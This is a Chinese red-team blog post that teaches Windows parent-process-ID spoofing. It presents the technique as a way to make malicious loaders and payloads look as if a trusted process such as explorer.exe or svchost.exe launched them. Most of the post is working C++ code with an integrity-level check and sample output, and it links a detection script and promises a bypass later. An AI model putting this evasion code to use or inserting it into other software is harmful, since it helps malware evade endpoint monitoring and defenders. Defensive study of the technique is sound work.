ppid 伪造(一)

发布于 # Red Team

让恶意的程序看起来是由另一个进程产生的,主要用于逃避基于父子进程关系的检测

Windows 不能直接修改 ppid,只能在创建新进程时指定父进程句柄

使用环节

通常使用在加载器中,也可以存在 payload 中或者将加载器和 payload 一同送进目标主机

伪造方法

首先构造一个能够检索目标父进程的 pid 的函数,这样可以减少手动操作的不便

// 检索目标父进程的pid
DWORD getPPID(LPCWSTR processName)
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);
    if (Process32First(snapshot, &process))
    {
        do
        {
            if (!wcscmp(process.szExeFile, processName))
                break;
        } while (Process32Next(snapshot, &process));
    }
    CloseHandle(snapshot);
    return process.th32ProcessID;
}

主函数中进行调用

#include <iostream>
#include <windows.h>
#include <tlHelp32.h>

int main()
{
    STARTUPINFOEX si = { sizeof(STARTUPINFOEX) };
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    // 通过函数 getPPID 获取目标父进程的 pid
    // 输入目标进程的名称
    LPCWSTR parentProcess = L"explorer.exe";
    DWORD parentPID = getPPID(parentProcess);
    printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID);

    // 这里末尾的数字是目标父进程的 pid,可以自定义函数获取
    HANDLE expProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPID);
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expProcess, sizeof(expProcess), NULL, NULL);
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    // 这里添加目标子进程的路径或者启动命令
    LPCWSTR spawnProcess = L"C:\\Windows\\System32\\notepad.exe";
    CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
    printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);
    return 0;
}

测试结果

可以看到伪造成功了,弹出了记事本

[+] Spoofing explorer.exe (PID: 12048) as the parent process.
[+] Spawning C:\Windows\System32\notepad.exe (PID: 32968)

权限问题

如果目标父进程的完整性级别超过了标准用户,我们就无权访问这样的进程。

此时,我们就希望能有一个函数能够帮助我们检查进程的完整性级别,这个操作使用的函数为 GetTokenInformation,它能够检索与进程关联的访问令牌的信息

修改后的代码如下

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string>
#include <iostream>
#include <atlconv.h>
using namespace std;

// 异常处理
string get_last_error(DWORD errCode)
{
	string err("");
	if (errCode == 0) errCode = GetLastError();
	LPTSTR lpBuffer = NULL;
	if (0 == FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, //标志位,决定如何说明lpSource参数,
																					// dwFlags的低位指定如何处理换行功能在输出缓冲区,也决定最大宽度的格式化输出行,可选参数
		NULL,	// 根据dwFlags标志而定
		errCode,	// 请求的消息的标识符
					// 当dwFlags标志为FORMAT_MESSAGE_FROM_STRING时会被忽略
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),	//请求的消息的语言标识符
		(LPTSTR)&lpBuffer,	//接收错误信息描述的缓冲区指针
		0,	//如果FORMAT_MESSAGE_ALLOCATE_BUFFER标志没有被指定,这个参数必须指定为输出缓冲区的大小,如果指定值为0,这个参数指定为分配给输出缓冲区的最小数
		NULL	//保存格式化信息中的插入值的一个数组
	))
	{//失败
		char tmp[100] = { 0 };
		sprintf_s(tmp, "{未定义错误描述(%d)}", errCode);
		err = tmp;
	}
	else    //成功
	{
		USES_CONVERSION;
		err = W2A(lpBuffer);
		LocalFree(lpBuffer);
	}
	return err;
}

// 检查进程的完整性级别
LPCWSTR getProcessIntegrityLevel(HANDLE hProcess, PDWORD pdwIntegrityLevel)
{
	DWORD dwError = ERROR_SUCCESS;
	HANDLE hToken = NULL;
	DWORD cbTokenIL = 0;
	PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
	if (pdwIntegrityLevel == NULL)
	{
		dwError = ERROR_INVALID_PARAMETER;
		goto Cleanup;
	}
	// 以TOKEN_QUERY开启此线程的主访问令牌。
	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
	{
		cout << "[!] OpenProcessToken error!" << endl;
		dwError = GetLastError();
		goto Cleanup;
	}
	// 查询令牌完整性级别信息的大小。注意:我们预期得到一个FALSE结果及错误
	// ERROR_INSUFFICIENT_BUFFER, 这是由于我们在GetTokenInformation输入一个
	// 空缓冲。同时,在cbTokenIL中我们会得知完整性级别信息的大小。
	if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL))
	{
		if (ERROR_INSUFFICIENT_BUFFER != GetLastError())
		{
			// 当进程运行于Windows Vista之前的系统中,GetTokenInformation返回
			// FALSE和错误码ERROR_INVALID_PARAMETER。这是由于这些操作系统不支
			// 持TokenElevation。
			cout << "[!] GetTokenInformation no support !" << endl;
			dwError = GetLastError();
			goto Cleanup;
		}
	}
	// 现在我们为完整性级别信息分配一个缓存。
	pTokenIL = (TOKEN_MANDATORY_LABEL*)LocalAlloc(LPTR, cbTokenIL);
	if (pTokenIL == NULL)
	{
		cout << "[!] pTokenIL is null" << endl;
		dwError = GetLastError();
		goto Cleanup;
	}
	// 获得令牌完整性级别信息。
	if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL,
		cbTokenIL, &cbTokenIL))
	{
		cout << "[!] GetTokenInformation error !" << endl;
		dwError = GetLastError();
		goto Cleanup;
	}
	// 完整性级别SID为S-1-16-0xXXXX形式。(例如:S-1-16-0x1000表示为低完整性
	// 级别的SID)。而且有且仅有一个次级授权信息。
	*pdwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0);
Cleanup:
	// 集中清理所有已分配的内存资源
	if (hToken)
	{
		CloseHandle(hToken);
		hToken = NULL;
	}
	if (pTokenIL)
	{
		LocalFree(pTokenIL);
		pTokenIL = NULL;
		cbTokenIL = 0;
	}
	if (ERROR_SUCCESS != dwError)
	{
		// 失败时确保此能够获取此错误代码
		SetLastError(dwError);
		return L"ERROR";
	}
	else
	{
		if (*pdwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
			return L"LOW";
		}
		else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && *pdwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {
			return L"MEDIUM";
		}
		else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
			return L"HIGH";
		}
		else if (*pdwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
			return L"SYSTEM";
		}
	}
}
DWORD getPPID(LPCWSTR processName) {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process = { 0 };
	process.dwSize = sizeof(process);
	bool flag = false;
	if (Process32First(snapshot, &process)) {
		do {
			if (!wcscmp(process.szExeFile, processName)) {
				HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID);
				if (hProcess) {
					LPCWSTR integrityLevel = NULL;
					DWORD dwIntegrityLevel;
					integrityLevel = getProcessIntegrityLevel(hProcess, &dwIntegrityLevel);
					if (!wcscmp(integrityLevel, L"ERROR")) {
						cout << "[!] PID = " << process.th32ProcessID << " GetProcessIntegrityLevel failed, Error: " << get_last_error(GetLastError()) << endl;
						continue;
					}
					if (!wcscmp(integrityLevel, L"MEDIUM")) {
						flag = true;
						break;
					}
				}
			}
		} while (Process32Next(snapshot, &process));
	}
	CloseHandle(snapshot);
	// 没有找到 MEDIUM 权限的进程
	if (!flag) {
		cout << processName << " does have medium integrity level!!" << endl;
		exit(-1);
	}
	return process.th32ProcessID;
}
int main() {
	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));

	// 通过函数 getPPID 获取目标父进程的 pid
	// 输入目标进程的名称
	LPCWSTR parentProcess = L"svchost.exe";
	DWORD parentPID = getPPID(parentProcess);
	printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID);

	// 这里末尾的数字是目标父进程的 pid,可以自定义函数获取
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, parentPID);
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	// 这里添加目标子进程的路径或者启动命令
	LPCWSTR spawnProcess = L"C:\\Windows\\System32\\notepad.exe";
	CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
	printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);
	return 0;
}

对抗检测

用这种方法伪造的 ppid 是能够被检测到的

https://github.com/countercept/ppid-spoofing/blob/master/detect-ppid-spoof.py

父进程欺骗绕过可以绕过脚本对于父子原进程关系的检测,减少被发现的可能,这个过几天写